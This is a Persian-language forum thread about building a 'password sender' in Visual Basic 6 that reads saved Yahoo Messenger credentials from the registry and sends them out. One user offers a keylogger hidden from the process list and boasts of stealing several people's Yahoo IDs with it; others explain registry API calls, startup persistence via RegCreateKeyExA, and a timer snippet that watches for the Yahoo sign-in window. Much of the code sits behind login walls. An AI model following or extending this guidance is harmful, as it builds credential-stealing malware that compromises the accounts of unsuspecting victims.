چگونه مي شود با وي بي يه پس سندر ساخت؟

[Payman_62]

الآن فايل pdf رو يه نگاه كردم و ديدم در مورد RegEnumValueA توضيحي نداده. در موردش يه توضيح مختصر ميدم. اين API براي سرچ يه Value در يك كليد باز شده هست. اين تعريف تابع
Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
اول با RegOpenKeyExA كليد رو باز ميكني و به كمك يه حلقه Value مورد نظرت رو سرچ ميكني.
البته ممكنه روش ساده تري هم باشه ولي من هميشه با اين API كار كردم و بهش عادت كردم.

[sherwood]

اين كد رو كه ميزارم يك key logger هست كه با گذاشتن يك if ميشه راحت كاري كرد كه فقط يوزر پسورد ياهو رو بگيره و تو يك فايل كه خود برنامه توشه سيو كنه و البته در process هم مخفيه با رجيستري هم كار نميكنه من خودم با همين كد اي دي چند نفر رو زدم
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
راستي بهتره كه فايل رو اول exe كني بعد باهاش كار كني

[vorojax]

گفتم كه با RegOpenKeyExA كليدي كه Value مورد نظر توش هست رو باز كن و با RegEnumValueA ميتوني Value مورد نظرت رو سرچ كني. اون كليد كه بايد باز شه HKEY_CURRENT_USER\Software\yahoo\Pager هست و value كه بايد تو اين كليد باز شده سرچ شه ميتونه مثلا Yahoo! User ID باشه. بايد ببيني با توجه به كلك رشتي كه ميخواي بزني رو كدوم value ها بايد كار كني. حالا ببين تو اون فايل pdf كدوم ثابت ها و تعاريف مربوط به اين دو تا API ميشن و اونارو كپي كن.
حالا فعلا با همين 2 API رجيستري كار داريم. ولي در ادامه كار ممكنه API هاي ديگر هم نياز شن. مثل RegCreateKeyExA براي قرار دادن برنامت در استارت آپ كه اونم تو فايل pdf كه گذاشتي توضيح داده شده.
راستي نگفتي چه جوري ميخواي سيو پسورد رو بر ميداري.

ببين اقا پيمان يه مثال بزن كار ما رابيوفته تو يه بگو از تو اون فايل pdf كه گزاشتم كدوم كدا حتما بايد تو فورم باشه
كه من اونا رو بنويسم بعد با تابع regOpenKeyExa اونو باز كنم

مثال يادت نره دمت گرم منتظرتم

[vorojax]

اقا چيشد من به يادگيري ريجستري نياز مبرم دارم اگه كمك نميكني اقا پيمان يه تايپيك بزنم بچه هاي ديگه ياد بدن.

[sherwood]

اين هم يه كد با رجيستري كه فقط پسورد ياهو رو ميگيره اگه اون كد خودت رو هم تهش اضافه كني برات سند هم ميكنه
فقط يه چيزي:
Private Sub Timer2_Timer()
returnvalue = GetCaption(GetForegroundWindow)
If returnvalue = "Sign In" Then
Timer1.Enabled = True
End If
If returnvalue = "Yahoo! Messenger" Or returnvalue = "Yahoo! Messenger - Invisible" And Text1 <> "" Then تو اين قسمت بايد caption جديد Yahoo! messenger With Voice Or Yahرو وارد كني
Call check
End If
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
End Sub

[Payman_62]

اينا براي RegOpenKeyExA

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

اين براي RegEnumValueA

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

hKey هندل كليدي كه با RegOpenKeyExA بازش كردي.
dwIndex ايندكس value ها.
lpValueName اسم value
lpcbValueName طول رشته value
lpReserved صفر قرار بده
lpType صفر قرار بده
lpData مقدار value
lpcbData طول رشته مقدار value

اين براي RegCloseKey

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

اينم يه كد براي سرچ تو يه كليد

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

[vorojax]

اقا پيمان دمت گرم برم ببينم چيزي مي فهمم

[vorojax]

اقا پيمان من اين كدا رو نوشتم تا امتحاني يه مقدار valu بيارم تو يه تكس اما خطا داشت ميشه بگي مشكلش كجاست؟
Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROL
Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROL
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL

Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long

Private Sub Command1_Click()
Text1 = RegOpenKeyExA("HKEY_CURRENT_CONFIG\Softwar\Fonts\F ONTS.FON")

End Sub

[Payman_62]

اشكالات:
1- آرگومان هاي تابع رو درست ست نكردي. شما به تعريف RegOpenKeyExA نگاه كن.

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

بايد براي همه اين آرگومان ها مقداري به تابع بفرستي. اين تابع 5 تا پارامتر داره.
hKey : مشخص ميكني سرشاخه مسيرت كجاست. از اين ثابت ها استفاده كن.

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

lpSubKey : مسير كليدت رو مينويسي.
ulOptions : مقدار 0 قرار بده.
samDesired : سطح دسترسي رو مشخص كن. از اين ثابت ها استفاده كن.

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

phkResult : هندل كليدي كه آدرسشو دادي و بازش كردي براي اينكه روش كار انجام بدي.

2-شما نميتوني RegOpenKeyExA رو مساوي تكس باكس قرار بدي. مثلا نتيجه اين كد

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

ميتونه 0 يا 2 يا ... باشه. اگه 0 باشه يعني كار با موفقيت انجام شده. ولي اگر عدد ديگري باشه نشان دهنده شماره خطاست.

3-RegOpenKeyExA فقط يه هندل بهت ميده تا رو كليد مورد نظر كار كني. و اگه ميخواي مقداري رو از داخل آن كليد بخوني و تو تكس باكس بريزي بايد از توابع ديگه مثل RegEnumValueA كمك بگيري.

[vorojax]

خاب قربون دستت يه كد اينجا بنويس كه اينو Software\yahoo\Pager بريزه تو يه تكس من ديگه بقيشو مي فهمم